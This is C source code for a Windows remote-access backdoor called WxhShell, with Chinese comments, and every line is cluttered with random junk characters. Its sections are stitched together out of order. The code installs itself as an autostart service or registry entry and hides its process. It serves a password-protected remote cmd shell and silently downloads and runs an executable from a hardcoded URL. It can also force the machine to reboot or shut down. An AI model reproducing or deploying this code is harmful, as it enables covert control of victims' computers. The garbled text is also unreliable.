    if(Boot(SHUTDOWN)) ex|)3|J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kd p*6ynD  
    else { jt @2S  
    closesocket(wsh); )zP"Uuu  
    ExitThread(0); ~Wm'~y>  
    } 4Im}!q5;:<  
    break; @[/!e`]+  
    } |~Awm"  
  // 获取shell &7,/^ >">  
  case 's': { 4^6Oh#p0  
    CmdShell(wsh); ]/R>nT  
    closesocket(wsh); *:l$ud  
    ExitThread(0); zlh\P`  
    break; 2NL|_W/  
  } pAEJ=Te  
  // 退出 3 }rx(  
  case 'x': { !\&4,l(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &)~LGWBdC  
    CloseIt(wsh); i079 V  
    break; ,6U=F#z  
    } ?N%5c%oF  
  // 离开 HOPsp  
  case 'q': { okW'}@jD  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k"FY &;G(G  
    closesocket(wsh); twTRw:.!f  
    WSACleanup(); ! }awlv;  
    exit(1); o{ | |Ig  
    break; Y7yzM1?t  
        } AkqGk5e ^  
  } ><@& &u.  
  } _..5G7%#%  
-g vS 3`lX  
  // 提示信息 +d6Jrd*  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); c$3ZEe  
} T~N877  
  } VqB9^qJ]!  
5g4c1K  
  return; t`4o&vsj=  
} X`daaG_l  
}% ?WS  
// shell模块句柄 %{P." ki  
int CmdShell(SOCKET sock) vf_pEkx*wD  
{ 3j$,x(ua9  
STARTUPINFO si; (WS<6j[q  
ZeroMemory(&si,sizeof(si)); 0h2MmI#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; inx0W3d"T  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~leLQsZ  
PROCESS_INFORMATION ProcessInfo; O[')[uo8s  
char cmdline[]="cmd"; 7)3cq}]O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e-o$bf%  
  return 0; ; >>/}Jw\  
} %PU {h  
^TY8,qDA  
// 自身启动模式 X1h*.reFAL  
int StartFromService(void) AwGDy +  
{ M7IQJFra  
typedef struct l_*:StyR+  
{ [$GQ]Y  
  DWORD ExitStatus; qfEB VS(  
  DWORD PebBaseAddress; >za=v  
  DWORD AffinityMask; _:;j)J0  
  DWORD BasePriority; |=}v^o ZC  
  ULONG UniqueProcessId; bk-aj'>+  
  ULONG InheritedFromUniqueProcessId; _^0)T@  
}   PROCESS_BASIC_INFORMATION; GUK3`}!%  
\~q cYp  
PROCNTQSIP NtQueryInformationProcess; _b 8XF&O  
Z$a4@W9o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nnO@$T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Y~bGgd]T  
&($Zs'X  
  HANDLE             hProcess; ma4r/8Q  
  PROCESS_BASIC_INFORMATION pbi; 5B=Wnau  
t]%! vXo  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O/R>&8R$  
  if(NULL == hInst ) return 0; Th//uI+  
6<A3H$3b  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ? &;d)TQ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 84dej<   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pNzGpCk  
k-vxKrjZ/  
  if (!NtQueryInformationProcess) return 0; y7s.6i}7  
%4E7 Tu,1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); @$'1  
  if(!hProcess) return 0; YPq`su7m9  
P1l@K2r  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Jid:$T>  
KGX?\#-  
  CloseHandle(hProcess); -0doL ^A  
Q-N.23\1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /`Lki>"  
if(hProcess==NULL) return 0; ^5~[G%G4  
N6<23kYM  
HMODULE hMod; uy;3s=03^  
char procName[255]; !kfnqe?|  
unsigned long cbNeeded; pf`li]j'V  
h@D4~(r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M O/-?@w  
a[8_ O-   
  CloseHandle(hProcess); yMa5?]J  
#B)`dA0a  
if(strstr(procName,"services")) return 1; // 以服务启动 " ,rA  
6l$o^R^D  
  return 0; // 注册表启动 7iKbd  
} b\\?aR |  
0,;FiOp  
// 主模块 6A/|XwfE/v  
int StartWxhshell(LPSTR lpCmdLine) U-s6h;^ O  
{  U\~[  
  SOCKET wsl; zj;y`ENj  
BOOL val=TRUE; Z{n7z$s*  
  int port=0; -}juj;IVv  
  struct sockaddr_in door; tIC_/ 6  
h OboM3_  
  if(wscfg.ws_autoins) Install(); z[ ;{p.W  
8`qw1dF  
port=atoi(lpCmdLine); t5N4d  
5y"yd6O]O5  
if(port<=0) port=wscfg.ws_port; X6<HNLgra  
xt"/e-h }  
  WSADATA data; .[Sv|;x"E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O!]w J  
1ck2Gxn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   t@v>eb  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g%=\Wiit]  
  door.sin_family = AF_INET; nw5#/5xw  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `u-VGd\  
  door.sin_port = htons(port); +TAm9eDNV  
d*>M<6b-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { y_QxJ~6t  
closesocket(wsl); ccm <rZ7  
return 1; ?\#4`9  
} #G{T(0<F  
$C)@GGY  
  if(listen(wsl,2) == INVALID_SOCKET) { sq)Nn&5A  
closesocket(wsl); ypd  
return 1; `g :<$3}  
} iKS9Xss8  
  Wxhshell(wsl); $~~=SOd0  
  WSACleanup(); JrL/LGY  
Y*Q( v  
return 0; puqH%m+u  
WD?V1:>+  
} &GD7ldck  
VBCj.dw  
// 以NT服务方式启动 n`:l`n>N$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uN\9c Q  
{ iGU N$  
DWORD   status = 0; ?<LG(WY  
  DWORD   specificError = 0xfffffff; dna f>G3  
'FUPv61()  
  serviceStatus.dwServiceType     = SERVICE_WIN32; <WbD4Q<3?  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Xs`:XATb/  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; wFd*6%  
  serviceStatus.dwWin32ExitCode     = 0; 1[Mr2@  
  serviceStatus.dwServiceSpecificExitCode = 0; Iw<c 9w8  
  serviceStatus.dwCheckPoint       = 0; X)&Z{ V>  
  serviceStatus.dwWaitHint       = 0; ckP3[@Su {  
~!nd'{{9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  7:p]~eM)  
  if (hServiceStatusHandle==0) return; Sl_zO?/PF  
~fUSmc  
status = GetLastError(); 7kwG_0QO  
  if (status!=NO_ERROR) *HXq`B  
{ ,/ig8~u'c  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s]&y\Z  
    serviceStatus.dwCheckPoint       = 0; q,(&2./  
    serviceStatus.dwWaitHint       = 0; RYhdf  
    serviceStatus.dwWin32ExitCode     = status; k?8W2fC  
    serviceStatus.dwServiceSpecificExitCode = specificError; yR$_$N+E  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'OihA^e  
    return; GB+d0 S4  
  } =Fs LF  
uHIWbF<0oo  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y;>I'e  
  serviceStatus.dwCheckPoint       = 0; &Egn`QU  
  serviceStatus.dwWaitHint       = 0; G_<[sMC8  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); i|O7nB@  
} AP7W)S  
V$_0VN'+Z  
// 处理NT服务事件,比如:启动、停止 c]n03o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Iw:("A&~  
{ KN`z68c4L  
switch(fdwControl) jlP7'xt1%  
{ H'`(|$:|  
case SERVICE_CONTROL_STOP: 2&d&$Jg  
  serviceStatus.dwWin32ExitCode = 0; "$'~=' [  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; U;xWW9  
  serviceStatus.dwCheckPoint   = 0; ykeUS zz2  
  serviceStatus.dwWaitHint     = 0; 4Qo1f5 >N  
  { dtBV0$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '9dtIW6E  
  } .:raeDrd  
  return; V<pqc&f .  
case SERVICE_CONTROL_PAUSE: =arsoCa  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; MdjLAD)f+C  
  break; y~=hM   
case SERVICE_CONTROL_CONTINUE: zLqp@\sT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; n6Zx0ad?  
  break; #G=QL(f>/  
case SERVICE_CONTROL_INTERROGATE: "3MUrIsB>  
  break; 8'[wa  
}; .Topg.7W  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z{jAt6@7  
} eM"mP&TTL  
F?ebY k1  
// 标准应用程序主函数 NXNon*"  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ;wxt<   
{ oI~Qo*4eh  
SkA'+(  
// 获取操作系统版本 6)$ N[FNs  
OsIsNt=GetOsVer(); Kx+Bc&X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ve1] ECk  
&FVlTo1  
  // 从命令行安装 o)=VPUe  
  if(strpbrk(lpCmdLine,"iI")) Install(); I yN9 +  
({VBp[Mh  
  // 下载执行文件 an`(?6d  
if(wscfg.ws_downexe) { tuUXW5!/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) hF7mJ\  
  WinExec(wscfg.ws_filenam,SW_HIDE); * _l o;  
} 3/=QZ8HA&-  
RbM~E~$  
if(!OsIsNt) { \=V[ba:q  
// 如果时win9x,隐藏进程并且设置为注册表启动 \87J~K'  
HideProc(); U3K<@r  
StartWxhshell(lpCmdLine); @qy*R'+  
} PEt8,,x<"  
else Q3q.*(#  
  if(StartFromService()) aQ:f"0fL  
  // 以服务方式启动 [5*-V^m2  
  StartServiceCtrlDispatcher(DispatchTable); 2rtP.*dd  
else O9X:1>a@i  
  // 普通方式启动 'f7 *RSKqb  
  StartWxhshell(lpCmdLine); 08?MS_  
HHTsHb{7  
return 0; # pB:LPEsK  
} s7i.p]  
KBq aI((  
i!oj&&  
tB=D&L3  
=========================================== $jh>zf  
b N e\{k  
%N>NOk)  
,Z7Z!.TY!  
@dCPa7:>&  
]</4#?_  
" lO:{tV  
O\Mq<;|7m  
#include <stdio.h> sVdK^|j  
#include <string.h> m{.M,Lm:  
#include <windows.h> %e7(HfW-U  
#include <winsock2.h> x0h3jw+6  
#include <winsvc.h> {3(.c, q@  
#include <urlmon.h> qZsddll  
q+n1~AT  
#pragma comment (lib, "Ws2_32.lib") :+Q"MIU  
#pragma comment (lib, "urlmon.lib") * m&: Yje  
,Zf!KQw  
#define MAX_USER   100 // 最大客户端连接数 ?g;ZbD  
#define BUF_SOCK   200 // sock buffer X/8iJ-KB  
#define KEY_BUFF   255 // 输入 buffer UnWGMo?JEi  
T|s0qQi  
#define REBOOT     0   // 重启 "SU-^z  
#define SHUTDOWN   1   // 关机 WmjzKCl  
4<Sa,~4  
#define DEF_PORT   5000 // 监听端口 .e2A*9,  
RjGB#AK  
#define REG_LEN     16   // 注册表键长度 7 Jx-W|  
#define SVC_LEN     80   // NT服务名长度 ,;iBeqr5  
sK%Hx`  
// 从dll定义API Dp*$GQ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OW^2S_H5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <VaMUm<2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )ClMw!ZrU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]AA%J@  
s9rtXBJP  
// wxhshell配置信息 loUl$X.u  
struct WSCFG { yD"0=\  
  int ws_port;         // 监听端口 H[7cA9FI  
  char ws_passstr[REG_LEN]; // 口令 1.0!H.>q  
  int ws_autoins;       // 安装标记, 1=yes 0=no pP0Vg'V  
  char ws_regname[REG_LEN]; // 注册表键名 MFH"$t+  
  char ws_svcname[REG_LEN]; // 服务名 WTD49_px  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 p + l_MB  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /"Yx@n  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q#(/*AoU  
int ws_downexe;       // 下载执行标记, 1=yes 0=no !-5S8b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7 ZL#f![{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r[v-?W'  
t+ S~u^  
}; \5[D7}  
.i+* #djx  
// default Wxhshell configuration B8 0odU&  
struct WSCFG wscfg={DEF_PORT, k?HrD"k"  
    "xuhuanlingzhe", 27a* H1iQ  
    1, (}C^_q:7d  
    "Wxhshell", A }-&C  
    "Wxhshell", P YF.#@":&  
            "WxhShell Service", v<%kd[N  
    "Wrsky Windows CmdShell Service", /:y2Up-  
    "Please Input Your Password: ", MxgLzt Y  
  1, !b7'>b'J<1  
  "http://www.wrsky.com/wxhshell.exe", ``|gcG  
  "Wxhshell.exe" 3u4*ofjE5  
    }; 2>$F0 M  
{,Bb"0 \  
// 消息定义模块 g8,?S6\nMz  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !eR-Kor  
char *msg_ws_prompt="\n\r? for help\n\r#>"; $,KP]~?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SH vaV[C  
char *msg_ws_ext="\n\rExit."; &]VQR2J}:  
char *msg_ws_end="\n\rQuit."; $7UoL,N>  
char *msg_ws_boot="\n\rReboot..."; sOl>5:D6  
char *msg_ws_poff="\n\rShutdown..."; MyH[vE^b  
char *msg_ws_down="\n\rSave to "; ;+i'0$;*w  
Hwp{<  
char *msg_ws_err="\n\rErr!"; \TbsoWX  
char *msg_ws_ok="\n\rOK!"; pgLtD};S  
W-z90k4Z5  
char ExeFile[MAX_PATH]; zj>aaY  
int nUser = 0; fVDDYo2\  
HANDLE handles[MAX_USER]; hj&fQ}X  
int OsIsNt; ym|NT0_0  
PFS;/   
SERVICE_STATUS       serviceStatus; E.J 0fwyT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^sifEgG*d  
w; 4jx(  
// 函数声明 X(k{-|9]  
int Install(void); > -y&$1  
int Uninstall(void); BTTLy^  
int DownloadFile(char *sURL, SOCKET wsh); i<T P:  
int Boot(int flag); &~~aAg  
void HideProc(void); fB~O |g  
int GetOsVer(void); UvxSMD:A  
int Wxhshell(SOCKET wsl); 'qL5$zG  
void TalkWithClient(void *cs); C$<"w,  
int CmdShell(SOCKET sock); 9 Uha2o  
int StartFromService(void); ?;|@T ty%  
int StartWxhshell(LPSTR lpCmdLine); wG1y,u'  
9u,8q:I.?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bLgL0}=n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); "l@A[@R  
L[?nST18%  
// 数据结构和表定义 *@_u4T7|{  
SERVICE_TABLE_ENTRY DispatchTable[] = MpO RGd  
{ {O^TurbTFA  
{wscfg.ws_svcname, NTServiceMain}, }zFf0.82  
{NULL, NULL} ]~-*hOcQ4  
}; 9>by~4An?  
AGOx@;w  
// 自我安装 "h=6Q+Ze  
int Install(void) 'K@-Z]  
{ &<,SV^w ag  
  char svExeFile[MAX_PATH]; DY9fF4[9a  
  HKEY key;  i"vawxm  
  strcpy(svExeFile,ExeFile); mxQR4"]jY  
AR%hf  
// 如果是win9x系统,修改注册表设为自启动 Ji;SY{~kv  
if(!OsIsNt) { ]3*P:$Rq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { egm)a   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Sd},_Kh  
  RegCloseKey(key); bGv* -;*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { +TC1nkX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); d%0+i/p  
  RegCloseKey(key); zv //K_  
  return 0; xS'zZ%?  
    } o+nG3kRD  
  } zZ%DtxUoU.  
} b'i'GJBQ+$  
else { H@{Objh 1  
)QmGsU}?  
// 如果是NT以上系统,安装为系统服务 )kYOHS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); !(Krf  
if (schSCManager!=0) mjb { ~  
{ ?d$"[lKX  
  SC_HANDLE schService = CreateService #G_F`&  
  ( !tEe\K\e  
  schSCManager, WsR+Np@c  
  wscfg.ws_svcname, -hWC_X:9jP  
  wscfg.ws_svcdisp, jM~Bu.7 i6  
  SERVICE_ALL_ACCESS, St@l]u9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #EbGL])F}  
  SERVICE_AUTO_START, {<2>6 _z  
  SERVICE_ERROR_NORMAL, oid[syPB  
  svExeFile, UVz/n68\k7  
  NULL, \m4T3fy  
  NULL, }j46L1T  
  NULL, 8pXKO"u],  
  NULL, ?aBj#  
  NULL #^6^  
  ); e+'%!w"B  
  if (schService!=0) I&Jt> O4  
  { %aU4,j^],o  
  CloseServiceHandle(schService); {Oj7  
  CloseServiceHandle(schSCManager); B^fT>1P  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); -v+&pG?m  
  strcat(svExeFile,wscfg.ws_svcname); I"@p aLZ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $X \va?(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;+ azeW ^  
  RegCloseKey(key); r}_lxr  
  return 0; $5AC1g'  
    } p3c"ZPO~z  
  } vJ"i.:Gf4  
  CloseServiceHandle(schSCManager); n9%]-s\Hn  
} g5+7p@'fV  
} #)s!}X^  
@w\I qr  
return 1; jk*tL8?i  
} 0,_b)  
AF}gSNX  
// 自我卸载 i?>tgmu.  
int Uninstall(void) m:uPEpcU  
{ W @.Ji B  
  HKEY key; K R,z^9  
gl{B=NN  
if(!OsIsNt) { h7]EB!D\A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mT @ nn,  
  RegDeleteValue(key,wscfg.ws_regname); VfSj E.|  
  RegCloseKey(key); 1!1!PA9u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !^w E/  
  RegDeleteValue(key,wscfg.ws_regname); jV O{$j  
  RegCloseKey(key); ,\YAnKn6_  
  return 0; Z^yNLF*&V  
  } irbw'^;y  
} Apj;  
} ST1'\Eo  
else { J0Z7 l  
=Mj 0:rW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); *27*>W1  
if (schSCManager!=0) Es!Q8.  
{ B(_WZa!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); _{4^|{>Pv  
  if (schService!=0) / vxm"CJR  
  { NBYH;h P  
  if(DeleteService(schService)!=0) { h!gk s-0  
  CloseServiceHandle(schService); /@"Y^  
  CloseServiceHandle(schSCManager); GIyF81KR 3  
  return 0; aUc|V{Jp  
  } V`kMCE;?l  
  CloseServiceHandle(schService); 3Fs5RC~a  
  } 3B0PGvCI1  
  CloseServiceHandle(schSCManager); tyh@ ^7  
} nhT-Ido  
} #wY0D_3@1  
B07v^!Z>  
return 1; 6gH{ R$7L=  
} .iG&Lw\,  
v6GPS1:a  
// 从指定url下载文件 k*?I>%^6#T  
int DownloadFile(char *sURL, SOCKET wsh) 'n;OB4  
{ :e<7d8E5n{  
  HRESULT hr; ?QZ"JX])  
char seps[]= "/"; h6~$/`&]b  
char *token; H[ m <RaG8  
char *file; l +*&:Q/  
char myURL[MAX_PATH]; <\ `$Jx#  
char myFILE[MAX_PATH]; I_1e?\  
_oG&OJ@  
strcpy(myURL,sURL); l12{fpm  
  token=strtok(myURL,seps); - VxDNT}Tr  
  while(token!=NULL) bN$r k|  
  { 3^?ZG^V  
    file=token; :,B7-kBw  
  token=strtok(NULL,seps); #bX9Tu0  
  } 0@I S  
H+E$:)gN  
GetCurrentDirectory(MAX_PATH,myFILE); ) ZfdQ3  
strcat(myFILE, "\\"); D^ Jk@<*  
strcat(myFILE, file); ?e[lr>-  
  send(wsh,myFILE,strlen(myFILE),0); [F!Y%Zp  
send(wsh,"...",3,0); /D! ;u]  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); p]T<HGJ P  
  if(hr==S_OK) ":a\z(*t  
return 0; N@ \&1I`c$  
else a 2 IgC25  
return 1; M(x$xAiD  
':{>a28=  
} Ae]sGU|?'  
0k)rc$eDF+  
// 系统电源模块 WOzf]3Xcj  
int Boot(int flag) 7lV.[&aKW  
{ 1#IlWEg  
  HANDLE hToken; vM:cWat  
  TOKEN_PRIVILEGES tkp; -Eu6U`"(  
>zAUW[]C:I  
  if(OsIsNt) { b 5yW_Ozdh  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .p0Clr!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 7f rTTSZ  
    tkp.PrivilegeCount = 1; ;X*cCb`h   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; / 0 O=(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 8>hwK)av  
if(flag==REBOOT) { #(An6itl  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fU=B4V4@  
  return 0; 8NyJc"T<.  
} 9mA{K    
else { T,aW8|  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WSuww  
  return 0; RuII!}*  
} cufH?Xg<  
  } DL$@?.?I  
  else { -f*P nxg  
if(flag==REBOOT) { AbZKYF P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) .o) `m9/  
  return 0; T5a*z}L5  
} o2<#s)GpY  
else { Ym3\pRFiD  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) '!/<P"5t  
  return 0; 0 a80 LAK  
} 8Z(Mvq]f&  
} d3=KTTi\  
`BlI@6th  
return 1; qkiI/nH3  
} u~A6bK*  
>=[(^l  
// win9x进程隐藏模块 E? _Z`*h  
void HideProc(void) /!c${W!sY  
{ j~!X;PV3  
&mb{.=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &Z`#cMR{H  
  if ( hKernel != NULL ) o!)3?  
  { Y1]n^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :j+ ZI3@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); l1f\=G?tmU  
    FreeLibrary(hKernel); V4_=<W  
  } z CvKDlL  
rzt Ru  
return; euC&0Ee2  
} #{?qNl8F*J  
9I4K}R  
// 获取操作系统版本 =weSyZ1~  
int GetOsVer(void) @)fd}tV  
{ _H5o'>=  
  OSVERSIONINFO winfo; Za 1QC;7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9jw\s P@  
  GetVersionEx(&winfo); EM[WK+9>I{  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Evedc*z~P  
  return 1; 0tXS3+@n =  
  else 'Iw NTM  
  return 0; p>4-s, W  
} 1,% R;7J=g  
[Al&  
// 客户端句柄模块 , GP?amh  
int Wxhshell(SOCKET wsl) PpAu!2lt9  
{ "hsb8-  
  SOCKET wsh; ,%M$0poKM  
  struct sockaddr_in client; Ru>MFG  
  DWORD myID; !6*"(  
sG F aL  
  while(nUser<MAX_USER) )v.=jup[  
{ 'h,VR=e<  
  int nSize=sizeof(client); *-8&[D0  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]?!mS[X  
  if(wsh==INVALID_SOCKET) return 1; K1M%!JKh)x  
-w"VK|SGm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m)'=G%y  
if(handles[nUser]==0) _sTROd)Vh  
  closesocket(wsh); bcE._9@@  
else pe 1R(|H  
  nUser++; x8V('`}j  
  } }f6HYU  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4bYK}o S  
}khV'6"'|  
  return 0; |R/%D%_g  
} %`1q-,>v  
VgZsB$Ori  
// 关闭 socket Al} B34.uh  
void CloseIt(SOCKET wsh) Yp^rR }N  
{ hvsWs.;L'  
closesocket(wsh); @emK1iwm  
nUser--; #ML%ij 1  
ExitThread(0); wNpTM8rfU#  
} `xqr{lhL  
jK& h~)  
// 客户端请求句柄 :LW4E9O=H  
void TalkWithClient(void *cs) $Avjnm  
{ JR@`2YP-  
#_^Lb]jkM  
  SOCKET wsh=(SOCKET)cs; 4R1<nZ"e~  
  char pwd[SVC_LEN]; {Tq_7,8  
  char cmd[KEY_BUFF]; !Fd~~v  
char chr[1]; 8c9*\S  
int i,j; 42$VhdG  
svcK?^ HTe  
  while (nUser < MAX_USER) { w"-Lc4t+  
gG(fQ 89U"  
if(wscfg.ws_passstr) { *zb Nd:i9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K8GP@yD]M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ) l:[^$=,  
  //ZeroMemory(pwd,KEY_BUFF); q_A!'sm@)  
      i=0; FQ<Ju.  
  while(i<SVC_LEN) { (X\@t-8  
keL&b/@  
  // 设置超时 @#T|Y&  
  fd_set FdRead; | *2w5iR  
  struct timeval TimeOut; }v}P .P  
  FD_ZERO(&FdRead); S2sQOM@  
  FD_SET(wsh,&FdRead); '7hu 2i5  
  TimeOut.tv_sec=8; cPyE 6\lN  
  TimeOut.tv_usec=0; 5YE'L.  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Yg%I?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %)zodf  
'YmIKIw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xr4 *{v  
  pwd=chr[0]; 8lvV4yb  
  if(chr[0]==0xd || chr[0]==0xa) { Lt?lv2k=L  
  pwd=0; lb4Pcd j  
  break; h-q3U%R4}@  
  } iT3BF"ZqBO  
  i++; I_} SB|  
    } Z'`<5A%;  
M?Y;a5{  
  // 如果是非法用户,关闭 socket +" .X )avF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vdivq^%=a  
} .sha&  
Cjm`|~&e+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;=)k<6  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Y{(%sn  
X( \ AB  
while(1) { <J< {l  
]!?;@$wx  
  ZeroMemory(cmd,KEY_BUFF); kCWV r  
P{kur} T  
      // 自动支持客户端 telnet标准   AYqX |  
  j=0; 4tRYw0f47  
  while(j<KEY_BUFF) { Ns>- o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fInb[  
  cmd[j]=chr[0]; t<.)Z-Ii  
  if(chr[0]==0xa || chr[0]==0xd) { vyNxT*,[K  
  cmd[j]=0; )WNzWUfn=z  
  break; L iN$ pwm  
  } )B"jF>9)[  
  j++; -`*a'p-=  
    } ?GKb7Oj  
deBY5|  
  // 下载文件 4[m`#  
  if(strstr(cmd,"http://")) { (y=C_wvqZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y2N>HK0  
  if(DownloadFile(cmd,wsh)) ,>bh$|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZCMw3]*  
  else H%qsjB^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ysQ_[ ]/  
  } ^S4d:-.3  
  else { (9''MlGd%  
kyR:[+je  
    switch(cmd[0]) { B3pCy~*5  
  SE@LYeC}dE  
  // 帮助 kj#?whK6~  
